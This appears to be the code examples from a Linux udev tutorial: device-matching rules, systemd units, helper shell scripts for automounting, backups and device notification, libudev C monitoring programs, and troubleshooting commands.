SUBSYSTEM=="block", KERNEL=="sd?", \
    ATTRS{serial}=="S1234567890", \
    SYMLINK+="disk/by-serial-custom/$attrs{serial}"

# Specific partition
SUBSYSTEM=="block", KERNEL=="sd?1", \
    ATTRS{serial}=="S1234567890", \
    SYMLINK+="disk/my-backup-disk"

# Create custom symlink for labeled filesystem
SUBSYSTEM=="block", ENV{ID_FS_LABEL}=="BACKUP", \
    SYMLINK+="backup-disk"

# Multiple labels
SUBSYSTEM=="block", ENV{ID_FS_LABEL}=="MEDIA", \
    SYMLINK+="media-disk"
SUBSYSTEM=="block", ENV{ID_FS_LABEL}=="ARCHIVE", \
    SYMLINK+="archive-disk"

# Identify USB storage by physical port
SUBSYSTEM=="block", KERNEL=="sd?", \
    KERNELS=="2-1.4", \
    SYMLINK+="usb-port-front-left"

# Partition on specific USB port
SUBSYSTEM=="block", KERNEL=="sd?1", \
    KERNELS=="2-1.4", \
    SYMLINK+="usb-port-front-left-part1"

# Tag removable media for systemd automount
SUBSYSTEM=="block", ENV{ID_FS_USAGE}=="filesystem", \
    ENV{UDISKS_AUTO}="1", TAG+="systemd"

# Grant access to specific USB device
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", ATTR{idProduct}=="6001", \
    MODE="0660", GROUP="dialout"

# Multiple products from same vendor
SUBSYSTEM=="usb", ATTR{idVendor}=="2341", \
    MODE="0660", GROUP="arduino", TAG+="uaccess"

# Match specific device instance
SUBSYSTEM=="usb", ATTRS{idVendor}=="067b", ATTRS{idProduct}=="2303", \
    ATTRS{serial}=="ABC123", \
    SYMLINK+="usb-prolific-abc123"

# Match by manufacturer and product strings
SUBSYSTEM=="usb", ATTRS{manufacturer}=="FTDI", \
    ATTRS{product}=="FT232R USB UART", \
    MODE="0660", GROUP="dialout"

# Create persistent name for USB-serial converter
SUBSYSTEM=="tty", ATTRS{idVendor}=="0403", ATTRS{idProduct}=="6001", \
    ATTRS{serial}=="FT123456", \
    SYMLINK+="ttyUSB-FTDI-FT123456"

# By position in device tree
SUBSYSTEM=="tty", KERNELS=="1-1.2", \
    SYMLINK+="ttyUSB-port-1"

# /etc/udev/rules.d/80-usb-serial-ports.rules
# Top port
SUBSYSTEM=="tty", KERNELS=="2-1.1", \
    SYMLINK+="arduino-top"

# Bottom port
SUBSYSTEM=="tty", KERNELS=="2-1.2", \
    SYMLINK+="arduino-bottom"

# Create unique names for identical USB devices
SUBSYSTEM=="tty", ATTRS{idVendor}=="10c4", ATTRS{idProduct}=="ea60", \
    ATTRS{serial}=="001", SYMLINK+="cp210x-sensor1"

SUBSYSTEM=="tty", ATTRS{idVendor}=="10c4", ATTRS{idProduct}=="ea60", \
    ATTRS{serial}=="002", SYMLINK+="cp210x-sensor2"

# Grant user access to FPGA development boards
SUBSYSTEM=="usb", ATTR{idVendor}=="09fb", \
    MODE="0666", GROUP="plugdev"

# STM32 programmers
SUBSYSTEM=="usb", ATTRS{idVendor}=="0483", ATTRS{idProduct}=="3748", \
    MODE="0660", GROUP="developers", TAG+="uaccess"

# Video capture devices accessible by video group
SUBSYSTEM=="video4linux", GROUP="video", MODE="0660"

# Sound devices accessible by audio group
SUBSYSTEM=="sound", GROUP="audio", MODE="0660"

# Printer devices
SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", \
    ENV{ID_USB_INTERFACES}=="*:0701??:*", \
    GROUP="lp", MODE="0660"

# YubiKey security key
SUBSYSTEM=="usb", ATTR{idVendor}=="1050", ATTR{idProduct}=="0407", \
    MODE="0660", GROUP="yubikey", TAG+="uaccess"

# Nitrokey
SUBSYSTEM=="usb", ATTR{idVendor}=="20a0", ATTR{idProduct}=="4108", \
    MODE="0660", GROUP="nitrokey"

# Create multiple meaningful symlinks
SUBSYSTEM=="block", ENV{ID_SERIAL}=="WD_My_Passport_1234", \
    SYMLINK+="backup", \
    SYMLINK+="western-digital", \
    SYMLINK+="portable-hdd"

# Organize devices in /dev subdirectories
SUBSYSTEM=="tty", ATTRS{idVendor}=="2341", \
    SYMLINK+="arduino/$attrs{serial}"

SUBSYSTEM=="block", ENV{ID_FS_LABEL}=="*", \
    SYMLINK+="disk/by-custom-label/$env{ID_FS_LABEL}"

# Create symlinks for specific applications
SUBSYSTEM=="video4linux", ATTRS{product}=="*Webcam*", \
    KERNEL=="video*", \
    SYMLINK+="video-webcam", \
    SYMLINK+="apps/skype/camera"

# Run script when USB drive inserted
SUBSYSTEM=="block", KERNEL=="sd[a-z][0-9]", \
    ACTION=="add", \
    ENV{ID_FS_UUID}=="1234-5678", \
    RUN{program}+="/usr/local/bin/backup-script.sh"

# Pass device info to script
SUBSYSTEM=="net", ACTION=="add", \
    RUN{program}+="/usr/local/bin/network-notify.sh $kernel $attr{address}"

# Set environment for downstream processing
SUBSYSTEM=="block", KERNEL=="sd?1", \
    ENV{MY_MOUNT_POINT}="/mnt/external", \
    ENV{MY_DEVICE_TYPE}="external_hdd"

# Tag device to trigger systemd template service
SUBSYSTEM=="block", ENV{ID_FS_UUID}=="1234-5678", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="backup@%k.service"

# Grant seat access to input devices
SUBSYSTEM=="input", KERNEL=="event*", \
    TAG+="uaccess"

# Specific gaming devices
SUBSYSTEM=="input", ATTRS{idVendor}=="046d", ATTRS{idProduct}=="c52b", \
    MODE="0660", GROUP="gamers"

# Tag touchscreen for X11
SUBSYSTEM=="input", KERNEL=="event*", \
    ENV{ID_INPUT_TOUCHSCREEN}=="1", \
    TAG+="touchscreen"

# /etc/udev/rules.d/51-android.rules
# Google devices
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0660", GROUP="adbusers", TAG+="uaccess"

# Samsung devices
SUBSYSTEM=="usb", ATTR{idVendor}=="04e8", MODE="0660", GROUP="adbusers", TAG+="uaccess"

# Generic Android devices
SUBSYSTEM=="usb", ENV{ID_USB_INTERFACES}=="*:ff420?:*", \
    MODE="0660", GROUP="adbusers", TAG+="uaccess"

# Configure serial port parameters
SUBSYSTEM=="tty", KERNEL=="ttyUSB*", \
    ATTRS{idVendor}=="0403", \
    RUN{program}+="/bin/stty -F /dev/%k 115200 cs8 -cstopb -parenb"

# Bluetooth RFCOMM devices
SUBSYSTEM=="tty", KERNEL=="rfcomm*", \
    GROUP="dialout", MODE="0660"

# Bad - hardware path changes
KERNEL=="ttyUSB0", SYMLINK+="mydevice"

# Good - use attributes
SUBSYSTEM=="tty", ATTRS{serial}=="ABC123", SYMLINK+="mydevice"

# Match against parent device (more stable)
SUBSYSTEM=="tty", SUBSYSTEMS=="usb", \
    ATTRS{idVendor}=="0403", \
    ATTRS{idProduct}=="6001", \
    SYMLINK+="usb-serial-ftdi"

# Work across distributions
SUBSYSTEM=="block", ENV{ID_FS_UUID}!="", \
    SYMLINK+="disk/by-custom-uuid/$env{ID_FS_UUID}"

# Don't rely on specific package paths
# Import standard device identification
IMPORT{builtin}="usb_id"
IMPORT{builtin}="path_id"

# Bad - multiple rules doing similar things
SUBSYSTEM=="block", KERNEL=="sd?", PROGRAM=="/usr/bin/script1.sh"
SUBSYSTEM=="block", KERNEL=="sd?", PROGRAM=="/usr/bin/script2.sh"

# Good - combine when possible
SUBSYSTEM=="block", KERNEL=="sd?", PROGRAM=="/usr/bin/combined-script.sh"

# Skip irrelevant subsystems early
SUBSYSTEM!="block", GOTO="end_block_rules"

# ... block-specific rules ...

LABEL="end_block_rules"

# Bad - calling external program for each device
PROGRAM=="/usr/bin/slow-check.sh $kernel", RESULT=="1", ...

# Good - use built-in tests when possible
KERNEL=="sd?", TEST=="/sys/block/%k/queue/rotational", ...

# Built-in matching is fast
KERNEL=="sd[a-z]", ...
ATTR{size}=="*[0-9]", ...

# Avoid external programs for simple checks
# Bad: PROGRAM=="/usr/bin/test -f /sys/..."
# Good: TEST=="/sys/..."

#!/bin/bash
# /lib/udev/my-helper.sh
# Environment variables available:
# DEVPATH, SUBSYSTEM, ACTION, DEVNAME, MAJOR, MINOR, etc.

echo "Device: $DEVNAME"
echo "Subsystem: $SUBSYSTEM"
echo "Action: $ACTION"

# Return 0 for success
exit 0

# Capture program output
SUBSYSTEM=="block", IMPORT{program}="/lib/udev/scsi_id -g $devnode"

# Use the imported variables
SUBSYSTEM=="block", ENV{ID_SERIAL}=="?*", \
    SYMLINK+="disk/by-id/scsi-$env{ID_SERIAL}"

# Rules have execution timeout (default 180s)
# Long-running tasks should be spawned asynchronously
SUBSYSTEM=="block", ACTION=="add", \
    RUN{program}+="/usr/bin/systemd-run /usr/local/bin/long-task.sh"

# /etc/udev/hwdb.d/90-custom-devices.hwdb
# USB device metadata
usb:v046Dp082D*
 ID_MODEL=Logitech_HD_Webcam_C615
 ID_VENDOR=Logitech

# PCI device
pci:v00008086d00001234*
 ID_MODEL=Intel_Custom_Device

systemd-hwdb update
udevadm trigger --subsystem-match=usb

# Mount filesystem via systemd
SUBSYSTEM=="block", ENV{ID_FS_UUID}=="1234-5678", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="mount-external.service"

# /etc/udev/rules.d/90-backup-device.rules
SUBSYSTEM=="block", ENV{ID_FS_LABEL}=="BACKUP*", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="backup@$env{ID_FS_LABEL}.service"

# /etc/systemd/system/backup@.service
[Unit]
Description=Backup service for %I
After=dev-disk-by\x2dlabel-%i.device

[Service]
Type=oneshot
ExecStart=/usr/local/bin/backup.sh /dev/disk/by-label/%I

# Tag devices for different purposes
SUBSYSTEM=="block", ENV{ID_USB_DRIVER}=="usb-storage", \
    TAG+="backup-eligible"

# Process tagged devices differently
TAG=="backup-eligible", ENV{ID_FS_TYPE}=="ext4", \
    ENV{SYSTEMD_WANTS}="backup-check@%k.service"

# Some devices need time to initialize
SUBSYSTEM=="tty", KERNEL=="ttyACM*", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="wait-for-tty@%k.service"

#!/bin/bash
# Script that depends on device being ready

# Trigger event
udevadm trigger --name-match=/dev/sda

# Wait for processing
udevadm settle --timeout=10

# Now safe to proceed
mount /dev/sda1 /mnt

# Tag multipath components
SUBSYSTEM=="block", ENV{DM_MULTIPATH_DEVICE_PATH}=="1", \
    TAG+="multipath"

# Use multipath-specific symlinks
SUBSYSTEM=="block", ENV{DM_UUID}=="mpath-*", \
    SYMLINK+="mapper/$env{DM_NAME}"

# Tag USB storage devices for automount
SUBSYSTEM=="block", ENV{ID_BUS}=="usb", ENV{ID_FS_USAGE}=="filesystem", \
    TAG+="systemd", ENV{SYSTEMD_WANTS}="usb-automount@%k.service"

[Unit]
Description=Auto-mount USB drive %I
After=dev-%i.device

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/local/bin/usb-mount.sh %I
ExecStop=/usr/local/bin/usb-unmount.sh %I

#!/bin/bash
DEVICE=$1
USER=$(who | awk '{print $1}' | head -1)
LABEL=$(lsblk -no LABEL /dev/$DEVICE)
MOUNTPOINT="/media/$USER/${LABEL:-$DEVICE}"

mkdir -p "$MOUNTPOINT"
mount -o uid=$(id -u $USER),gid=$(id -g $USER) /dev/$DEVICE "$MOUNTPOINT"
chown $USER:$USER "$MOUNTPOINT"

# Notify user
sudo -u $USER DISPLAY=:0 notify-send "USB Drive Mounted" "$DEVICE mounted at $MOUNTPOINT"

#!/bin/bash
DEVICE=$1
MOUNTPOINT=$(mount | grep "/dev/$DEVICE" | awk '{print $3}')

if [ -n "$MOUNTPOINT" ]; then
    umount "$MOUNTPOINT"
    rmdir "$MOUNTPOINT"
fi

# Management interface (IPMI/BMC on motherboard)
SUBSYSTEM=="net", ACTION=="add", \
    ATTR{address}=="00:25:90:xx:xx:01", \
    NAME="mgmt0"

# Data plane interfaces (PCIe cards)
SUBSYSTEM=="net", ACTION=="add", \
    ATTR{address}=="00:1b:21:xx:xx:10", \
    NAME="data0"

SUBSYSTEM=="net", ACTION=="add", \
    ATTR{address}=="00:1b:21:xx:xx:11", \
    NAME="data1"

# Backup interface (onboard)
SUBSYSTEM=="net", ACTION=="add", \
    KERNELS=="0000:00:19.0", \
    NAME="backup0"

# Alternative: name by PCI slot
SUBSYSTEM=="net", ACTION=="add", \
    KERNELS=="0000:03:00.0", \
    NAME="slot3-net0"

# Check interface names
ip link show

# Test rule without applying
udevadm test /sys/class/net/eth0 2>&1 | grep NAME

# Apply new rules
udevadm control --reload-rules
udevadm trigger --subsystem-match=net --action=add

# Sensor 1 - Top USB port
SUBSYSTEM=="tty", KERNELS=="1-1.1", \
    ATTRS{idVendor}=="067b", ATTRS{idProduct}=="2303", \
    SYMLINK+="sensors/temperature", \
    MODE="0660", GROUP="sensors"

# Sensor 2 - Middle USB port
SUBSYSTEM=="tty", KERNELS=="1-1.2", \
    ATTRS{idVendor}=="067b", ATTRS{idProduct}=="2303", \
    SYMLINK+="sensors/pressure", \
    MODE="0660", GROUP="sensors"

# Sensor 3 - Bottom USB port
SUBSYSTEM=="tty", KERNELS=="1-1.3", \
    ATTRS{idVendor}=="067b", ATTRS{idProduct}=="2303", \
    SYMLINK+="sensors/humidity", \
    MODE="0660", GROUP="sensors"

# Notify monitoring system
SUBSYSTEM=="tty", KERNEL=="ttyUSB*", \
    SYMLINK=="sensors/*", \
    RUN{program}+="/usr/local/bin/sensor-notify.sh $env{DEVNAME} add"

#!/bin/bash
DEVICE=$1
ACTION=$2
LOGFILE=/var/log/sensors.log

echo "$(date): Sensor $ACTION on $DEVICE" >> $LOGFILE

# Restart monitoring service if all sensors present
if [ "$ACTION" = "add" ]; then
    if [ -e /dev/sensors/temperature ] && \
       [ -e /dev/sensors/pressure ] && \
       [ -e /dev/sensors/humidity ]; then
        systemctl restart sensor-monitoring.service
    fi
fi

# Plug in device and check kernel path
udevadm info --query=path --name=/dev/ttyUSB0
# Look for KERNELS value like "1-1.1"

# Or monitor as you plug in
udevadm monitor --kernel --subsystem-match=tty

# Identify backup drive by UUID
SUBSYSTEM=="block", ENV{ID_FS_UUID}=="abcd1234-5678-90ef-ghij-klmnopqrstuv", \
    ENV{BACKUP_DRIVE}="true", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="external-backup.service"

[Unit]
Description=External Drive Backup
After=dev-disk-by\x2duuid-abcd1234\x2d5678\x2d90ef\x2dghij\x2dklmnopqrstuv.device

[Service]
Type=oneshot
ExecStart=/usr/local/bin/backup-to-external.sh

#!/bin/bash

BACKUP_UUID="abcd1234-5678-90ef-ghij-klmnopqrstuv"
MOUNT_POINT="/mnt/backup"
SOURCE_DIR="/home"
BACKUP_DIR="$MOUNT_POINT/backups/$(hostname)"
LOG_FILE="/var/log/external-backup.log"

log() {
    echo "$(date '+%Y-%m-%d %H:%M:%S'): $1" | tee -a "$LOG_FILE"
}

# Mount if not already mounted
if ! mountpoint -q "$MOUNT_POINT"; then
    mkdir -p "$MOUNT_POINT"
    mount UUID="$BACKUP_UUID" "$MOUNT_POINT" || {
        log "ERROR: Failed to mount backup drive"
        exit 1
    }
fi

# Verify drive is correct
if [ ! -f "$MOUNT_POINT/.backup_drive_marker" ]; then
    log "ERROR: Drive verification failed"
    umount "$MOUNT_POINT"
    exit 1
fi

log "Starting backup to external drive"

# Create backup directory
mkdir -p "$BACKUP_DIR"

# Perform incremental backup using rsync
rsync -av --delete \
    --exclude='.cache' \
    --exclude='.local/share/Trash' \
    --log-file="$LOG_FILE" \
    "$SOURCE_DIR/" "$BACKUP_DIR/" || {
    log "ERROR: Backup failed"
    umount "$MOUNT_POINT"
    exit 1
}

# Create timestamp
date > "$BACKUP_DIR/.last_backup"

log "Backup completed successfully"

# LED notification (if supported)
echo 1 > /sys/class/leds/backup-led/brightness 2>/dev/null || true

# Don't unmount - let user safely remove
sync

# Google Nexus/Pixel devices
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0660", \
    GROUP="adbusers", TAG+="uaccess"

# Samsung devices
SUBSYSTEM=="usb", ATTR{idVendor}=="04e8", MODE="0660", \
    GROUP="adbusers", TAG+="uaccess"

# OnePlus devices
SUBSYSTEM=="usb", ATTR{idVendor}=="2a70", MODE="0660", \
    GROUP="adbusers", TAG+="uaccess"

# Xiaomi devices
SUBSYSTEM=="usb", ATTR{idVendor}=="2717", MODE="0660", \
    GROUP="adbusers", TAG+="uaccess"

# Generic Android devices (ADB interface)
SUBSYSTEM=="usb", ENV{ID_USB_INTERFACES}=="*:ff420?:*", \
    MODE="0660", GROUP="adbusers", TAG+="uaccess"

# Notify when Android device connected
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", \
    RUN{program}+="/usr/local/bin/android-notify.sh add"

SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ACTION=="remove", \
    RUN{program}+="/usr/local/bin/android-notify.sh remove"

# Create adbusers group
sudo groupadd -r adbusers

# Add your user
sudo usermod -a -G adbusers $USER

# Reload rules
sudo udevadm control --reload-rules
sudo udevadm trigger

#!/bin/bash
ACTION=$1
USER=$(who | grep -m1 "(:[0-9])" | awk '{print $1}')

if [ "$ACTION" = "add" ]; then
    # Start ADB server if not running
    sudo -u $USER adb start-server 2>/dev/null

    # Wait for device
    sleep 2

    # Check if device is authorized
    DEVICE_STATE=$(sudo -u $USER adb get-state 2>&1)

    if [[ "$DEVICE_STATE" == "device" ]]; then
        sudo -u $USER DISPLAY=:0 notify-send "Android Device" \
            "Device connected and authorized"
    else
        sudo -u $USER DISPLAY=:0 notify-send "Android Device" \
            "Device connected - check authorization on phone" \
            -u critical
    fi
else
    sudo -u $USER DISPLAY=:0 notify-send "Android Device" "Device disconnected"
fi

# Siemens PLC - Ethernet adapter
SUBSYSTEM=="net", KERNELS=="0000:03:00.0", \
    NAME="plc-eth", \
    ENV{PLC_INTERFACE}="true"

# Modbus RTU serial interface
SUBSYSTEM=="tty", ATTRS{idVendor}=="0403", ATTRS{idProduct}=="6001", \
    ATTRS{serial}=="PLC001", \
    SYMLINK+="plc/modbus-rtu", \
    MODE="0660", GROUP="industrial", \
    RUN{program}+="/bin/stty -F /dev/%k 19200 cs8 -cstopb -parenb"

# HMI touchscreen
SUBSYSTEM=="input", ATTRS{idVendor}=="0eef", ATTRS{idProduct}=="0001", \
    ENV{DEVNAME}=="*event*", \
    SYMLINK+="input/hmi-touch", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="hmi-calibration.service"

# Emergency stop button
SUBSYSTEM=="input", ATTRS{product}=="Emergency Stop", \
    SYMLINK+="input/emergency-stop", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="estop-monitor.service"

# Industrial sensors via USB
SUBSYSTEM=="tty", SUBSYSTEMS=="usb", \
    ATTRS{manufacturer}=="IndustrialSensors", \
    SYMLINK+="sensors/$attr{product}", \
    MODE="0660", GROUP="industrial"

# Start monitoring when all devices present
SUBSYSTEM=="tty", SYMLINK=="sensors/*", \
    RUN{program}+="/usr/local/bin/check-all-devices.sh"

#!/bin/bash

REQUIRED_DEVICES=(
    "/dev/plc/modbus-rtu"
    "/dev/input/hmi-touch"
    "/dev/sensors/temperature"
    "/dev/sensors/pressure"
)

all_present=true

for device in "${REQUIRED_DEVICES[@]}"; do
    if [ ! -e "$device" ]; then
        all_present=false
        logger "Industrial: Missing device $device"
    fi
done

if [ "$all_present" = true ]; then
    logger "Industrial: All devices present, starting production monitoring"
    systemctl start production-monitoring.service
fi

# Disk activity LED control
SUBSYSTEM=="block", KERNEL=="sd[a-z]", \
    RUN{program}+="/usr/local/bin/set-disk-led.sh %k add"

SUBSYSTEM=="block", KERNEL=="sd[a-z]", ACTION=="remove", \
    RUN{program}+="/usr/local/bin/set-disk-led.sh %k remove"

# RAID array status
SUBSYSTEM=="block", KERNEL=="md*", \
    RUN{program}+="/usr/local/bin/raid-led-status.sh %k"

#!/bin/bash

DISK=$1
ACTION=$2
LED_BASE="/sys/class/leds"

# Map disk to LED (customize for your hardware)
case $DISK in
    sda)
        LED="disk0-led"
        ;;
    sdb)
        LED="disk1-led"
        ;;
    sdc)
        LED="disk2-led"
        ;;
    *)
        exit 0
        ;;
esac

LED_PATH="$LED_BASE/$LED/brightness"

if [ ! -f "$LED_PATH" ]; then
    exit 0
fi

if [ "$ACTION" = "add" ]; then
    echo 1 > "$LED_PATH"
else
    echo 0 > "$LED_PATH"
fi

# USB printers
SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", \
    ENV{ID_USB_INTERFACES}=="*:0701??:*", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="configure-printer@$env{BUSNUM}-$env{DEVNUM}.service"

# USB scanners
SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", \
    ENV{ID_USB_INTERFACES}=="*:070103:*", \
    MODE="0660", GROUP="scanner", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="configure-scanner@$env{BUSNUM}-$env{DEVNUM}.service"

# HP multi-function devices
SUBSYSTEM=="usb", ATTR{idVendor}=="03f0", \
    ATTRS{product}=="*LaserJet*", \
    MODE="0660", GROUP="lp", \
    RUN{program}+="/usr/local/bin/hp-device-setup.sh"

[Unit]
Description=Auto-configure printer %I
After=cups.service

[Service]
Type=oneshot
ExecStart=/usr/local/bin/auto-add-printer.sh %I

#!/bin/bash

DEVICE_ID=$1

# Wait for CUPS
sleep 2

# Get USB device info
VENDOR=$(udevadm info --query=property /dev/bus/usb/$DEVICE_ID | \
    grep ID_VENDOR= | cut -d= -f2)
MODEL=$(udevadm info --query=property /dev/bus/usb/$DEVICE_ID | \
    grep ID_MODEL= | cut -d= -f2)

PRINTER_NAME="${VENDOR}_${MODEL}"

# Check if already configured
if lpstat -p "$PRINTER_NAME" >/dev/null 2>&1; then
    logger "Printer $PRINTER_NAME already configured"
    exit 0
fi

# Add printer
lpadmin -p "$PRINTER_NAME" \
    -E \
    -v "usb://$DEVICE_ID" \
    -m everywhere

logger "Added printer: $PRINTER_NAME"

# Set as default if no default exists
if [ -z "$(lpstat -d 2>/dev/null)" ]; then
    lpadmin -d "$PRINTER_NAME"
    logger "Set $PRINTER_NAME as default printer"
fi

#include <libudev.h>
#include <stdio.h>

int main() {
    struct udev *udev;
    struct udev_enumerate *enumerate;
    struct udev_list_entry *devices, *dev_list_entry;

    // Create udev context
    udev = udev_new();
    if (!udev) {
        fprintf(stderr, "Cannot create udev context\n");
        return 1;
    }

    // Create enumeration
    enumerate = udev_enumerate_new(udev);
    udev_enumerate_add_match_subsystem(enumerate, "block");
    udev_enumerate_scan_devices(enumerate);
    devices = udev_enumerate_get_list_entry(enumerate);

    // Iterate through devices
    udev_list_entry_foreach(dev_list_entry, devices) {
        const char *path;
        struct udev_device *dev;

        path = udev_list_entry_get_name(dev_list_entry);
        dev = udev_device_new_from_syspath(udev, path);

        printf("Device: %s\n", udev_device_get_devnode(dev));
        printf("  Type: %s\n", udev_device_get_devtype(dev));
        printf("  Sysname: %s\n", udev_device_get_sysname(dev));

        udev_device_unref(dev);
    }

    udev_enumerate_unref(enumerate);
    udev_unref(udev);

    return 0;
}

gcc -o list-devices list-devices.c $(pkg-config --cflags --libs libudev)

#include <libudev.h>
#include <stdio.h>
#include <poll.h>

int main() {
    struct udev *udev;
    struct udev_monitor *mon;
    struct pollfd fds[1];
    int ret;

    udev = udev_new();
    if (!udev) {
        fprintf(stderr, "Cannot create udev context\n");
        return 1;
    }

    // Create monitor
    mon = udev_monitor_new_from_netlink(udev, "udev");
    udev_monitor_filter_add_match_subsystem_devtype(mon, "usb", NULL);
    udev_monitor_enable_receiving(mon);

    // Setup polling
    fds[0].fd = udev_monitor_get_fd(mon);
    fds[0].events = POLLIN;

    printf("Monitoring USB devices...\n");

    while (1) {
        ret = poll(fds, 1, -1);
        if (ret > 0 && (fds[0].revents & POLLIN)) {
            struct udev_device *dev;

            dev = udev_monitor_receive_device(mon);
            if (dev) {
                printf("Action: %s\n", udev_device_get_action(dev));
                printf("Device: %s\n", udev_device_get_devnode(dev) ?: "N/A");
                printf("Vendor: %s\n",
                    udev_device_get_sysattr_value(dev, "idVendor") ?: "N/A");
                printf("Product: %s\n",
                    udev_device_get_sysattr_value(dev, "idProduct") ?: "N/A");
                printf("\n");

                udev_device_unref(dev);
            }
        }
    }

    udev_monitor_unref(mon);
    udev_unref(udev);

    return 0;
}

#include <libudev.h>
#include <stdio.h>

void print_device_properties(struct udev_device *dev) {
    struct udev_list_entry *properties, *entry;

    properties = udev_device_get_properties_list_entry(dev);

    printf("Properties:\n");
    udev_list_entry_foreach(entry, properties) {
        printf("  %s=%s\n",
            udev_list_entry_get_name(entry),
            udev_list_entry_get_value(entry));
    }
}

int main(int argc, char *argv[]) {
    struct udev *udev;
    struct udev_device *dev;

    if (argc != 2) {
        fprintf(stderr, "Usage: %s <device_path>\n", argv[0]);
        return 1;
    }

    udev = udev_new();
    if (!udev) {
        fprintf(stderr, "Cannot create udev context\n");
        return 1;
    }

    // Create device from syspath or devnode
    dev = udev_device_new_from_syspath(udev, argv[1]);
    if (!dev) {
        dev = udev_device_new_from_devnum(udev, 'b', makedev(8, 0));
    }

    if (dev) {
        printf("Device node: %s\n", udev_device_get_devnode(dev));
        printf("Subsystem: %s\n", udev_device_get_subsystem(dev));
        printf("Device type: %s\n", udev_device_get_devtype(dev) ?: "N/A");

        print_device_properties(dev);

        udev_device_unref(dev);
    } else {
        fprintf(stderr, "Device not found\n");
    }

    udev_unref(udev);
    return 0;
}

#include <libudev.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <poll.h>
#include <signal.h>

static int running = 1;

void sighandler(int signum) {
    running = 0;
}

int main(int argc, char *argv[]) {
    struct udev *udev;
    struct udev_monitor *mon;
    struct pollfd fds[1];
    const char *subsystem = NULL;
    int ret;

    if (argc > 1) {
        subsystem = argv[1];
    }

    signal(SIGINT, sighandler);
    signal(SIGTERM, sighandler);

    udev = udev_new();
    if (!udev) {
        fprintf(stderr, "Cannot create udev context\n");
        return 1;
    }

    mon = udev_monitor_new_from_netlink(udev, "udev");

    if (subsystem) {
        printf("Filtering for subsystem: %s\n", subsystem);
        udev_monitor_filter_add_match_subsystem_devtype(mon, subsystem, NULL);
    }

    udev_monitor_enable_receiving(mon);

    fds[0].fd = udev_monitor_get_fd(mon);
    fds[0].events = POLLIN;

    printf("Monitoring device events (Ctrl+C to stop)...\n\n");

    while (running) {
        ret = poll(fds, 1, 1000);

        if (ret < 0) {
            break;
        }

        if (ret > 0 && (fds[0].revents & POLLIN)) {
            struct udev_device *dev;
            const char *action, *devnode, *subsys;

            dev = udev_monitor_receive_device(mon);
            if (dev) {
                action = udev_device_get_action(dev);
                devnode = udev_device_get_devnode(dev);
                subsys = udev_device_get_subsystem(dev);

                printf("EVENT: %s %s %s\n",
                    action ? action : "unknown",
                    subsys ? subsys : "unknown",
                    devnode ? devnode : "no_devnode");

                // Print relevant properties
                printf("  SYS_PATH: %s\n", udev_device_get_syspath(dev));

                const char *vendor = udev_device_get_sysattr_value(dev, "idVendor");
                const char *product = udev_device_get_sysattr_value(dev, "idProduct");

                if (vendor && product) {
                    printf("  USB_ID: %s:%s\n", vendor, product);
                }

                printf("\n");

                udev_device_unref(dev);
            }
        }
    }

    printf("Shutting down...\n");
    udev_monitor_unref(mon);
    udev_unref(udev);

    return 0;
}

gcc -o udev-monitor udev-monitor.c $(pkg-config --cflags --libs libudev)
./udev-monitor block    # Monitor block devices only

# Check rule syntax
udevadm test /sys/class/block/sda 2>&1 | grep -i error

# Verify rule is loaded
udevadm test /sys/class/block/sda 2>&1 | grep "Reading rules file"

# Check for conflicting rules
udevadm test /sys/class/block/sda 2>&1 | grep "NAME"

# Wrong - missing comma
SUBSYSTEM=="block" KERNEL=="sda" SYMLINK+="mydisk"

# Correct
SUBSYSTEM=="block", KERNEL=="sda", SYMLINK+="mydisk"

# Check available attributes
udevadm info --attribute-walk --name=/dev/sda

# Verify your match keys exist in output

# Must be in correct directory
ls -la /etc/udev/rules.d/
# Must end with .rules
# Must have numeric prefix (e.g., 80-custom.rules)

# Always reload after editing
udevadm control --reload-rules
udevadm trigger --name-match=/dev/sda

# Check device permissions
ls -l /dev/ttyUSB0

# Check user groups
groups

# Check udev database
udevadm info --query=property /dev/ttyUSB0 | grep -E "OWNER|GROUP|MODE"

# For serial devices
sudo usermod -a -G dialout $USER

# For USB devices
sudo usermod -a -G plugdev $USER

# Log out and back in for changes to take effect

# /etc/udev/rules.d/80-mydevice.rules
SUBSYSTEM=="tty", ATTRS{idVendor}=="0403", \
    MODE="0660", GROUP="dialout"

# Allow currently logged-in user
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", \
    TAG+="uaccess"

# Check if kernel sees device
dmesg | tail -50

# Check if udev received event
udevadm monitor --kernel --property

# Check sysfs
ls -la /sys/bus/usb/devices/

# Check if driver loaded
lsmod | grep <driver_name>

# Load driver manually
modprobe <driver_name>

# Check dmesg for errors
dmesg | grep -i error

# Some devices need time
udevadm settle --timeout=30

# Monitor timing
udevadm monitor --property | ts '[%Y-%m-%d %H:%M:%.S]'

# Test multiple times
for i in {1..10}; do
    udevadm trigger --name-match=/dev/sda
    udevadm settle
    sleep 1
done

# Wait for file to exist
SUBSYSTEM=="block", KERNEL=="sd?", \
    WAIT_FOR="/sys/block/%k/queue/rotational"

# Test file exists
SUBSYSTEM=="block", KERNEL=="sd?", \
    TEST=="/sys/block/%k/queue/rotational", \
    ATTR{queue/rotational}=="0", \
    TAG+="ssd"

# Use ATTRS (with S) to search up device tree
SUBSYSTEM=="tty", SUBSYSTEMS=="usb", \
    ATTRS{idVendor}=="0403", \
    SYMLINK+="mydevice"

# Tag for systemd instead of RUN
SUBSYSTEM=="block", ENV{ID_FS_UUID}=="1234", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="mount-device.service"

# Check for timeout errors
